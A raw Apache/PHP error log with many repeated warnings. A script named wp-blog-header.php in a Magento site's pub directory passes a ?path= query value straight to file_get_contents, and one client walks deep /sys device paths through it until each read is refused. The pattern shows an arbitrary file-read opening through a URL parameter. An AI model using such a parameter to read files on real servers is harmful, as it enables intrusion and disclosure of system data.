[Thu Mar 26 11:41:46.560008 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:41:47.064524 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be
[Thu Mar 26 11:41:47.533856 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fc
[Thu Mar 26 11:41:49.652403 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:be
[Thu Mar 26 11:41:50.184358 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:cc
[Thu Mar 26 11:41:53.914989 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:41:58.386000 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:aa
[Thu Mar 26 11:41:59.430063 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ac
[Thu Mar 26 11:42:00.983483 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ca
[Thu Mar 26 11:42:02.133224 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:42:04.711923 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:be
[Thu Mar 26 11:42:08.432037 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ea
[Thu Mar 26 11:42:10.093220 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:ba
[Thu Mar 26 11:42:12.701318 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:42:14.862861 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:be
[Thu Mar 26 11:42:16.483400 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:fe
[Thu Mar 26 11:42:16.981190 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ec
[Thu Mar 26 11:42:18.601576 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:42:19.691839 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/drivers/ec
[Thu Mar 26 11:42:20.238155 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec
[Thu Mar 26 11:42:23.904252 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ec
[Thu Mar 26 11:42:24.439402 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:aa
[Thu Mar 26 11:42:29.500593 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:42:30.586810 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:42:31.162405 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:42:32.198564 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:fe
[Thu Mar 26 11:42:33.476701 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:42:35.894633 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:42:38.660520 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:dc
[Thu Mar 26 11:42:40.749291 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:42:46.168828 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:dc
[Thu Mar 26 11:42:50.508027 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:42:55.849443 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec
[Thu Mar 26 11:43:02.261399 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ea
[Thu Mar 26 11:43:02.785837 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ba
[Thu Mar 26 11:43:05.929045 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:43:08.100903 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:43:10.131658 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:43:14.362751 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:ac
[Thu Mar 26 11:43:15.915389 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ac
[Thu Mar 26 11:43:16.527329 2026] [php:warn] [pid 3106381] [client 74.7.241.26:51192] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:43:20.426489 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:fa
[Thu Mar 26 11:43:21.005833 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:43:22.554029 2026] [php:warn] [pid 3107073] [client 74.7.241.26:56762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ee
